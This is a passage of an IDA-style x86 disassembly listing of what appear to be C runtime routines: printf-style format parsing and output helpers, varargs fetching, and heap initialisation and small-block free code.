mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412CCC: ; CODE XREF: sub_412C3C+6Ej
; DATA XREF: seg000:off_41335Do
movsx eax, bl ; jumptable 00412CAA case 2
sub eax, 20h
jz short loc_412D0F
sub eax, 3
jz short loc_412D06
sub eax, 8
jz short loc_412CFD
dec eax
dec eax
jz short loc_412CF4
sub eax, 3
jnz loc_413344 ; default
or [ebp+var_4], 8
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412CF4: ; CODE XREF: sub_412C3C+A4j
or [ebp+var_4], 4
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412CFD: ; CODE XREF: sub_412C3C+A0j
or [ebp+var_4], 1
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412D06: ; CODE XREF: sub_412C3C+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412D0F: ; CODE XREF: sub_412C3C+96j
or [ebp+var_4], 2
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412D18: ; CODE XREF: sub_412C3C+6Ej
; DATA XREF: seg000:off_41335Do
cmp bl, 2Ah ; jumptable 00412CAA case 3
jnz short loc_412D40
lea eax, [ebp+arg_8]
push eax
call sub_41341B
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_413344 ; default
or [ebp+var_4], 4
neg eax
loc_412D38: ; CODE XREF: sub_412C3C+111j
mov [ebp+var_20], eax
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412D40: ; CODE XREF: sub_412C3C+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_412D38
; ---------------------------------------------------------------------------
loc_412D4F: ; CODE XREF: sub_412C3C+6Ej
; DATA XREF: seg000:off_41335Do
mov [ebp+var_10], edx ; jumptable 00412CAA case 4
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412D57: ; CODE XREF: sub_412C3C+6Ej
; DATA XREF: seg000:off_41335Do
cmp bl, 2Ah ; jumptable 00412CAA case 5
jnz short loc_412D7A
lea eax, [ebp+arg_8]
push eax
call sub_41341B
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_413344 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412D7A: ; CODE XREF: sub_412C3C+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412D8C: ; CODE XREF: sub_412C3C+6Ej
; DATA XREF: seg000:off_41335Do
cmp bl, 49h ; jumptable 00412CAA case 6
jz short loc_412DBF
cmp bl, 68h
jz short loc_412DB6
cmp bl, 6Ch
jz short loc_412DAD
cmp bl, 77h
jnz loc_413344 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412DAD: ; CODE XREF: sub_412C3C+15Dj
or [ebp+var_4], 10h
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412DB6: ; CODE XREF: sub_412C3C+158j
or [ebp+var_4], 20h
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412DBF: ; CODE XREF: sub_412C3C+153j
cmp byte ptr [edi], 36h
jnz short loc_412DD8
cmp byte ptr [edi+1], 34h
jnz short loc_412DD8
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412DD8: ; CODE XREF: sub_412C3C+186j
; sub_412C3C+18Cj
mov [ebp+var_30], edx
loc_412DDB: ; CODE XREF: sub_412C3C+6Ej
; DATA XREF: seg000:off_41335Do
mov ecx, ds:off_42E190 ; jumptable 00412CAA case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_412E07
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41337D
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_412E07: ; CODE XREF: sub_412C3C+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41337D
add esp, 0Ch
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_412E1F: ; CODE XREF: sub_412C3C+6Ej
; DATA XREF: seg000:off_41335Do
movsx eax, bl ; jumptable 00412CAA case 7
cmp eax, 67h
jg loc_413047
cmp eax, 65h
jge loc_412ECA
cmp eax, 58h
jg loc_412F28
jz loc_4130BB
sub eax, 43h
jz loc_412EEB
dec eax
dec eax
jz short loc_412EC0
dec eax
dec eax
jz short loc_412EC0
sub eax, 0Ch
jnz loc_413246
test word ptr [ebp+var_4], 830h
jnz short loc_412E69
or byte ptr [ebp+var_4+1], 8
loc_412E69: ; CODE XREF: sub_412C3C+227j
; sub_412C3C+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_412E76
mov esi, 7FFFFFFFh
loc_412E76: ; CODE XREF: sub_412C3C+233j
lea eax, [ebp+arg_8]
push eax
call sub_41341B
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41308F
test ecx, ecx
jnz short loc_412E9E
mov ecx, ds:off_42E18C
mov [ebp+var_8], ecx
loc_412E9E: ; CODE XREF: sub_412C3C+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_412EA7: ; CODE XREF: sub_412C3C+282j
mov edx, esi
dec esi
test edx, edx
jz loc_413086
cmp word ptr [eax], 0
jz loc_413086
inc eax
inc eax
jmp short loc_412EA7
; ---------------------------------------------------------------------------
loc_412EC0: ; CODE XREF: sub_412C3C+212j
; sub_412C3C+216j
mov [ebp+var_34], 1
add bl, 20h
loc_412ECA: ; CODE XREF: sub_412C3C+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_412FAE
mov [ebp+var_10], 6
jmp loc_412FBC
; ---------------------------------------------------------------------------
loc_412EEB: ; CODE XREF: sub_412C3C+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_412EF7
or byte ptr [ebp+var_4+1], 8
loc_412EF7: ; CODE XREF: sub_412C3C+2B5j
; sub_412C3C+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_412F3E
call sub_413438
push eax
lea eax, [ebp+var_248]
push eax
call sub_41807C
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_412F51
mov [ebp+var_28], 1
jmp short loc_412F51
; ---------------------------------------------------------------------------
loc_412F28: ; CODE XREF: sub_412C3C+1FBj
sub eax, 5Ah
jz short loc_412F5F
sub eax, 9
jz short loc_412EF7
dec eax
jz loc_413121
jmp loc_413246
; ---------------------------------------------------------------------------
loc_412F3E: ; CODE XREF: sub_412C3C+2C5j
call sub_41341B
pop ecx
mov [ebp+var_248], al
loc_412F4A: ; DATA XREF: seg002:off_422B48o
mov [ebp+var_C], 1
loc_412F51: ; CODE XREF: sub_412C3C+2E1j
; sub_412C3C+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_413246
; ---------------------------------------------------------------------------
loc_412F5F: ; CODE XREF: sub_412C3C+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41341B
test eax, eax
pop ecx
jz short loc_412FA0
mov ecx, [eax+4]
test ecx, ecx
jz short loc_412FA0
test byte ptr [ebp+var_4+1], 8
jz short loc_412F91
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_413246
; ---------------------------------------------------------------------------
loc_412F91: ; CODE XREF: sub_412C3C+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_413243
; ---------------------------------------------------------------------------
loc_412FA0: ; CODE XREF: sub_412C3C+32Fj
; sub_412C3C+336j
mov eax, ds:off_42E188
mov [ebp+var_8], eax
push eax
jmp loc_41303C
; ---------------------------------------------------------------------------
loc_412FAE: ; CODE XREF: sub_412C3C+29Dj
jnz short loc_412FBC
cmp bl, 67h
jnz short loc_412FBC
mov [ebp+var_10], 1
loc_412FBC: ; CODE XREF: sub_412C3C+2AAj
; sub_412C3C:loc_412FAEj ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call ds:off_42E4C8
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41300E
cmp [ebp+var_10], 0
jnz short loc_41300E
lea eax, [ebp+var_248]
push eax
call ds:off_42E4D4
pop ecx
loc_41300E: ; CODE XREF: sub_412C3C+3BCj
; sub_412C3C+3C2j
cmp bl, 67h
jnz short loc_413025
test esi, esi
jnz short loc_413025
lea eax, [ebp+var_248]
push eax
call ds:off_42E4CC
pop ecx
loc_413025: ; CODE XREF: sub_412C3C+3D5j
; sub_412C3C+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41303B
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41303B: ; CODE XREF: sub_412C3C+3F0j
push edi
loc_41303C: ; CODE XREF: sub_412C3C+36Dj
call sub_410B60
pop ecx
jmp loc_413243
; ---------------------------------------------------------------------------
loc_413047: ; CODE XREF: sub_412C3C+1E9j
sub eax, 69h
jz loc_413121
sub eax, 5
jz loc_4130F7
dec eax
jz loc_4130E4
dec eax
jz short loc_4130B4
sub eax, 3
jz loc_412E69
dec eax
dec eax
jz loc_413125
sub eax, 3
jnz loc_413246
mov [ebp+var_2C], 27h
jmp short loc_4130C2
; ---------------------------------------------------------------------------
loc_413086: ; CODE XREF: sub_412C3C+270j
; sub_412C3C+27Aj
sub eax, ecx
sar eax, 1
jmp loc_413243
; ---------------------------------------------------------------------------
loc_41308F: ; CODE XREF: sub_412C3C+24Fj
test ecx, ecx
jnz short loc_41309C
mov ecx, ds:off_42E188
mov [ebp+var_8], ecx
loc_41309C: ; CODE XREF: sub_412C3C+455j
mov eax, ecx
loc_41309E: ; CODE XREF: sub_412C3C+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4130AD
cmp byte ptr [eax], 0
jz short loc_4130AD
inc eax
jmp short loc_41309E
; ---------------------------------------------------------------------------
loc_4130AD: ; CODE XREF: sub_412C3C+467j
; sub_412C3C+46Cj
sub eax, ecx
jmp loc_413243
; ---------------------------------------------------------------------------
loc_4130B4: ; CODE XREF: sub_412C3C+425j
mov [ebp+var_10], 8
loc_4130BB: ; CODE XREF: sub_412C3C+201j
mov [ebp+var_2C], 7
loc_4130C2: ; CODE XREF: sub_412C3C+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41312C
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41312C
; ---------------------------------------------------------------------------
loc_4130E4: ; CODE XREF: sub_412C3C+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41312C
or byte ptr [ebp+var_4+1], 2
jmp short loc_41312C
; ---------------------------------------------------------------------------
loc_4130F7: ; CODE XREF: sub_412C3C+417j
lea eax, [ebp+arg_8]
push eax
call sub_41341B
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_413110
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_413115
; ---------------------------------------------------------------------------
loc_413110: ; CODE XREF: sub_412C3C+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_413115: ; CODE XREF: sub_412C3C+4D2j
mov [ebp+var_28], 1
jmp loc_413344 ; default
; ---------------------------------------------------------------------------
loc_413121: ; CODE XREF: sub_412C3C+2F7j
; sub_412C3C+40Ej
or [ebp+var_4], 40h
loc_413125: ; CODE XREF: sub_412C3C+432j
mov [ebp+var_C], 0Ah
loc_41312C: ; CODE XREF: sub_412C3C+491j
; sub_412C3C+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41313E
lea eax, [ebp+arg_8]
push eax
call sub_413428
pop ecx
jmp short loc_41317F
; ---------------------------------------------------------------------------
loc_41313E: ; CODE XREF: sub_412C3C+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_413165
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41315A
call sub_41341B
pop ecx
movsx eax, ax
loc_413157: ; CODE XREF: sub_412C3C+527j
; sub_412C3C+539j
cdq
jmp short loc_41317F
; ---------------------------------------------------------------------------
loc_41315A: ; CODE XREF: sub_412C3C+510j
call sub_41341B
pop ecx
movzx eax, ax
jmp short loc_413157
; ---------------------------------------------------------------------------
loc_413165: ; CODE XREF: sub_412C3C+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_413177
call sub_41341B
pop ecx
jmp short loc_413157
; ---------------------------------------------------------------------------
loc_413177: ; CODE XREF: sub_412C3C+531j
call sub_41341B
pop ecx
xor edx, edx
loc_41317F: ; CODE XREF: sub_412C3C+500j
; sub_412C3C+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4131A0
test edx, edx
jg short loc_4131A0
jl short loc_41318F
test eax, eax
jnb short loc_4131A0
loc_41318F: ; CODE XREF: sub_412C3C+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4131A4
; ---------------------------------------------------------------------------
loc_4131A0: ; CODE XREF: sub_412C3C+547j
; sub_412C3C+54Bj ...
mov esi, eax
mov edi, edx
loc_4131A4: ; CODE XREF: sub_412C3C+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4131AD
and edi, 0
loc_4131AD: ; CODE XREF: sub_412C3C+56Cj
cmp [ebp+var_10], 0
jge short loc_4131BC
mov [ebp+var_10], 1
jmp short loc_4131C0
; ---------------------------------------------------------------------------
loc_4131BC: ; CODE XREF: sub_412C3C+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4131C0: ; CODE XREF: sub_412C3C+57Ej
mov eax, esi
or eax, edi
jnz short loc_4131CA
and [ebp+var_1C], 0
loc_4131CA: ; CODE XREF: sub_412C3C+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_4131D0: ; CODE XREF: sub_412C3C+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_4131E0
mov eax, esi
or eax, edi
jz short loc_41321B
loc_4131E0: ; CODE XREF: sub_412C3C+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_412100
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_412180
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_413211
add ebx, [ebp+var_2C]
loc_413211: ; CODE XREF: sub_412C3C+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_4131D0
; ---------------------------------------------------------------------------
loc_41321B: ; CODE XREF: sub_412C3C+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_413246
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_413239
test eax, eax
jnz short loc_413246
loc_413239: ; CODE XREF: sub_412C3C+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_413243: ; CODE XREF: sub_412C3C+35Fj
; sub_412C3C+406j ...
mov [ebp+var_C], eax
loc_413246: ; CODE XREF: sub_412C3C+21Bj
; sub_412C3C+2FDj ...
cmp [ebp+var_28], 0
jnz loc_413344 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41327E
test bh, 1
jz short loc_413263
mov [ebp+var_16], 2Dh
jmp short loc_413277
; ---------------------------------------------------------------------------
loc_413263: ; CODE XREF: sub_412C3C+61Fj
test bl, 1
jz short loc_41326E
mov [ebp+var_16], 2Bh
jmp short loc_413277
; ---------------------------------------------------------------------------
loc_41326E: ; CODE XREF: sub_412C3C+62Aj
test bl, 2
jz short loc_41327E
mov [ebp+var_16], 20h
loc_413277: ; CODE XREF: sub_412C3C+625j
; sub_412C3C+630j
mov [ebp+var_1C], 1
loc_41327E: ; CODE XREF: sub_412C3C+61Aj
; sub_412C3C+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41329E
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4133B2
add esp, 10h
loc_41329E: ; CODE XREF: sub_412C3C+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_4133E3
add esp, 10h
test bl, 8
jz short loc_4132D0
test bl, 4
jnz short loc_4132D0
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4133B2
add esp, 10h
loc_4132D0: ; CODE XREF: sub_412C3C+67Bj
; sub_412C3C+680j
cmp [ebp+var_24], 0
jz short loc_413317
cmp [ebp+var_C], 0
jle short loc_413317
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_4132E5: ; CODE XREF: sub_412C3C+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_41807C
pop ecx
test eax, eax
pop ecx
jle short loc_41332C
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_4133E3
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_4132E5
jmp short loc_41332C
; ---------------------------------------------------------------------------
loc_413317: ; CODE XREF: sub_412C3C+698j
; sub_412C3C+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_4133E3
add esp, 10h
loc_41332C: ; CODE XREF: sub_412C3C+6BCj
; sub_412C3C+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_413344 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4133B2
add esp, 10h
loc_413344: ; CODE XREF: sub_412C3C+68j
; sub_412C3C+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_412C68
loc_413355: ; CODE XREF: sub_412C3C+1Fj
; sub_412C3C+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_412C3C endp
; ---------------------------------------------------------------------------
off_41335D dd offset loc_412DDB ; DATA XREF: sub_412C3C+6Er
dd offset loc_412CB1 ; jump table for switch statement
dd offset loc_412CCC
dd offset loc_412D18
dd offset loc_412D4F
dd offset loc_412D57
dd offset loc_412D8C
dd offset loc_412E1F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41337D proc near ; CODE XREF: sub_412C3C+1BDp
; sub_412C3C+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_413396
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_4133A1
; ---------------------------------------------------------------------------
loc_413396: ; CODE XREF: sub_41337D+9j
push ecx
push [ebp+arg_0]
call sub_412B27
pop ecx
pop ecx
loc_4133A1: ; CODE XREF: sub_41337D+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_4133AE
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4133AE: ; CODE XREF: sub_41337D+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41337D endp
; =============== S U B R O U T I N E =======================================
sub_4133B2 proc near ; CODE XREF: sub_412C3C+65Ap
; sub_412C3C+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_4133E0
mov esi, [esp+8+arg_C]
loc_4133C3: ; CODE XREF: sub_4133B2+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41337D
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_4133E0
mov eax, edi
dec edi
test eax, eax
jg short loc_4133C3
loc_4133E0: ; CODE XREF: sub_4133B2+Bj
; sub_4133B2+25j
pop edi
pop esi
retn
sub_4133B2 endp
; =============== S U B R O U T I N E =======================================
sub_4133E3 proc near ; CODE XREF: sub_412C3C+670p
; sub_412C3C+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_413417
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_4133F9: ; CODE XREF: sub_4133E3+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41337D
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_413417
mov eax, ebx
dec ebx
test eax, eax
jg short loc_4133F9
loc_413417: ; CODE XREF: sub_4133E3+Cj
; sub_4133E3+2Bj
pop edi
pop esi
pop ebx
retn
sub_4133E3 endp
; =============== S U B R O U T I N E =======================================
sub_41341B proc near ; CODE XREF: sub_412C3C+E5p
; sub_412C3C+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41341B endp
; =============== S U B R O U T I N E =======================================
sub_413428 proc near ; CODE XREF: sub_412C3C+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_413428 endp
; =============== S U B R O U T I N E =======================================
sub_413438 proc near ; CODE XREF: sub_412C3C+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_413438 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413446 proc near ; CODE XREF: sub_4109F4+17p
; sub_4109F4+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_413464
mov ecx, ds:off_42E190
movzx eax, word ptr [ecx+eax*2]
jmp short loc_4134B6
; ---------------------------------------------------------------------------
loc_413464: ; CODE XREF: sub_413446+10j
mov ecx, eax
push esi
mov esi, ds:off_42E190
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_413489
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_413492
; ---------------------------------------------------------------------------
loc_413489: ; CODE XREF: sub_413446+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_413492: ; CODE XREF: sub_413446+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call loc_4180E4
add esp, 1Ch
test eax, eax
jnz short loc_4134B2
leave
retn
; ---------------------------------------------------------------------------
loc_4134B2: ; CODE XREF: sub_413446+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_4134B6: ; CODE XREF: sub_413446+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_413446 endp
; =============== S U B R O U T I N E =======================================
sub_4134BB proc near ; CODE XREF: sub_410C21+1Fp
; sub_41237F+106p ...
arg_0 = dword ptr 4
mov eax, ds:dword_45F8A0
test eax, eax
jz short loc_4134D3
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_4134D3
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4134D3: ; CODE XREF: sub_4134BB+7j
; sub_4134BB+12j
xor eax, eax
retn
sub_4134BB endp
; =============== S U B R O U T I N E =======================================
sub_4134D6 proc near ; CODE XREF: seg000:00412A42p
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call ds:dword_41C15C ; HeapCreate
test eax, eax
mov ds:dword_460EA0, eax
jz short loc_41350B
call sub_413512
test eax, eax
jnz short loc_41350E
push ds:dword_460EA0
call ds:dword_41C158 ; HeapDestroy
loc_41350B: ; CODE XREF: sub_4134D6+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41350E: ; CODE XREF: sub_4134D6+27j
push 1
pop eax
retn
sub_4134D6 endp
; =============== S U B R O U T I N E =======================================
sub_413512 proc near ; CODE XREF: sub_4134D6+20p
push 140h
push 0
push ds:dword_460EA0
call ds:dword_41C134 ; RtlAllocateHeap
test eax, eax
mov ds:dword_460E9C, eax
jnz short loc_41352F
retn
; ---------------------------------------------------------------------------
loc_41352F: ; CODE XREF: sub_413512+1Aj
and ds:dword_460E94, 0
and ds:dword_460E98, 0
push 1
mov ds:dword_460E90, eax
mov ds:dword_460E88, 10h
pop eax
retn
sub_413512 endp
; =============== S U B R O U T I N E =======================================
sub_413550 proc near ; CODE XREF: sub_410C83+Ap
; sub_41237F+3Dp ...
arg_0 = dword ptr 4
mov eax, ds:dword_460E98
lea ecx, [eax+eax*4]
mov eax, ds:dword_460E9C
lea ecx, [eax+ecx*4]
loc_413560: ; CODE XREF: sub_413550+26j
cmp eax, ecx
jnb short loc_413578
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41357A
add eax, 14h
jmp short loc_413560
; ---------------------------------------------------------------------------
loc_413578: ; CODE XREF: sub_413550+12j
xor eax, eax
locret_41357A: ; CODE XREF: sub_413550+21j
retn
sub_413550 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41357B proc near ; CODE XREF: sub_410C83+16p
; sub_41237F+89p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push ebx
push esi
mov eax, [ecx+10h]
mov esi, edx
sub esi, [ecx+0Ch]
mov ebx, [edx-4]
add edx, 0FFFFFFFCh
push edi
shr esi, 0Fh
mov ecx, esi
mov edi, [edx-4]
imul ecx, 204h
dec ebx
mov [ebp+var_4], edi
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ebx
mov [ebp+var_10], ecx
mov ecx, [ebx+edx]
test cl, 1
mov [ebp+var_8], ecx
jnz short loc_413641
sar ecx, 4
push 3Fh
dec ecx
pop edi
mov [ebp+arg_4], ecx
cmp ecx, edi
jbe short loc_4135D3
mov [ebp+arg_4], edi
loc_4135D3: ; CODE XREF: sub_41357B+53j
mov ecx, [ebx+edx+4]
cmp ecx, [ebx+edx+8]
jnz short loc_413625
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_413601
mov edi, 80000000h
shr edi, cl
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+44h], edi
dec byte ptr [ecx]
jnz short loc_413625
mov ecx, [ebp+arg_0]
and [ecx], edi
jmp short loc_413625
; ---------------------------------------------------------------------------
loc_413601: ; CODE XREF: sub_41357B+68j
add ecx, 0FFFFFFE0h
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+0C4h], edi
dec byte ptr [ecx]
jnz short loc_413625
mov ecx, [ebp+arg_0]
and [ecx+4], edi
loc_413625: ; CODE XREF: sub_41357B+60j
; sub_41357B+7Dj ...
mov ecx, [ebx+edx+8]
mov edi, [ebx+edx+4]
mov [ecx+4], edi
mov ecx, [ebx+edx+4]
mov edi, [ebx+edx+8]
add ebx, [ebp+var_8]
mov [ecx+8], edi
mov [ebp+var_C], ebx
loc_413641: ; CODE XREF: sub_41357B+45j
mov edi, ebx
sar edi, 4
dec edi
cmp edi, 3Fh
jbe short loc_41364F
push 3Fh
pop edi
loc_41364F: ; CODE XREF: sub_41357B+CFj
mov ecx, [ebp+var_4]
and ecx, 1
mov [ebp+var_14], ecx
jnz loc_4136FE
sub edx, [ebp+var_4]
mov ecx, [ebp+var_4]
sar ecx, 4
push 3Fh
mov [ebp+var_8], edx
dec ecx
pop edx
cmp ecx, edx
mov [ebp+arg_4], ecx
jbe short loc_41367A
mov [ebp+arg_4], edx
mov ecx, edx
loc_41367A: ; CODE XREF: sub_41357B+F8j
